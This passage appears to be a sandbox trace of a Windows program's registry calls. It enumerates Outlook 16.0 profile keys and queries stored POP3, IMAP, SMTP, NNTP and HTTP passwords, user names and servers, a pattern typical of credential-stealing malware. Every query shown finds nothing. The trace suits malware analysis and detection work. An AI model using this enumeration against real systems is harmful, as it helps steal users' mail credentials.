lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.283] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.283] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.284] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.284] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.284] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.284] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.284] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.284] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.284] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.284] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.284] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.284] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.284] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.285] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.285] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.285] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.285] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.285] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.285] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.285] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.285] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.285] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.285] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.285] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.285] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.285] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.286] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.286] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.286] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.287] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.287] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.287] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.288] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.288] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.288] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.289] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.289] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.289] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.289] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.289] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.289] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.289] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.289] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.290] LocalFree (hMem=0x28e7670) returned 0x0 [0096.290] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x7, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="48dea081c9634a43a6861907855add5c", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.290] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.290] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.290] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c") returned 88 [0096.290] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.290] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.290] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.290] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.290] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.290] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.290] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.290] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.290] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.290] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.290] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.290] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.290] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.290] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.291] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.291] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey 